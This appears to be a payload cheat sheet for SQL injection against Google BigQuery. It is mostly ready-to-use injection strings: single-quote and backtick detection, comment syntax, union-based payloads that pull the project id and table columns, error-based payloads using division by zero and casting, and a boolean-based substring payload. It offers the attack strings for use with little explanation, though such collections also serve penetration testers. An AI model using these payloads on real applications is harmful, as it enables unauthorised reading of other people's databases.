## Detection
|
|
|
|
* Use a classic single quote to trigger an error: `'`
|
|
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
|
|
|
|
```ps1
|
|
# Gathering project id
|
|
select @@project_id
|
|
|
|
# Gathering all dataset names
|
|
select schema_name from INFORMATION_SCHEMA.SCHEMATA
|
|
|
|
# Gathering data from specific project id & dataset
|
|
select * from `project_id.dataset_name.table_name`
|
|
```
|
|
|
|
## BigQuery Comment
|
|
|
|
```ps1
|
|
select 1#from here it is not working
|
|
select 1/*between those it is not working*/
|
|
```
|
|
|
|
## BigQuery Union Based
|
|
|
|
```ps1
|
|
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
|
|
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#
|
|
```
|
|
|
|
## BigQuery Error Based
|
|
|
|
```ps1
|
|
# Error based - division by zero
|
|
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
|
|
|
|
# Error based - casting: select CAST(@@project_id AS INT64)
|
|
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
|
|
```
|
|
|
|
## BigQuery Boolean Based
|
|
|
|
```ps1
|
|
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
|
|
```
|
|
|
|
## BigQuery Time Based
|
|
|
|
* Time based functions does not exist in the BigQuery syntax.
